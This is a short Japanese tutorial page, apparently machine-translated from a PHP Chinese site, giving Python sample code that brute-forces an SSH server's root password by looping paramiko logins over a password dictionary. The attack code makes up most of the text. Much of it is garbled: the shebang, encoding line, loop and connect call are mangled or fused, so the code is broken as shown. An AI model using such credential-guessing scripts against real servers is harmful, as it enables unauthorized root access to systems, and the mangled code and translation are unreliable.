ホームページ >バックエンド開発 >Python チュートリアル >Python を使用して root パスワードをブルートフォースクラックするサンプルコード
1. インストール Paramiko モジュール
2. サーバー SSH サービスがポート 22 を開きます
code#!/Usr/bin/py
#-*- コーディング: UTF- 8 - を参照してください。 *-
import paramiko
ssh = paramiko.SSHClient() #インスタントクラス
ssh.
set_missing_host_key_policy(paramiko.AutoAddPolicy()) #接続時の自動応答はyesですd =
filefori in d.xreadlines(): #ループパスワード辞書 i = i.strip() #前のスペースを削除そして
の後
ifContinuehost', port =22, username='root', passw
ord=i)
続きを印刷します #パスワードが間違っている場合は、次のサイクルに入ります
else: Print 'root パスワードは解読されていません。辞書を変更してもう一度お試しください' #パスワードが間違っている場合は、一致しません
以上がPython を使用して root パスワードをブルートフォースクラックするサンプルコードの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。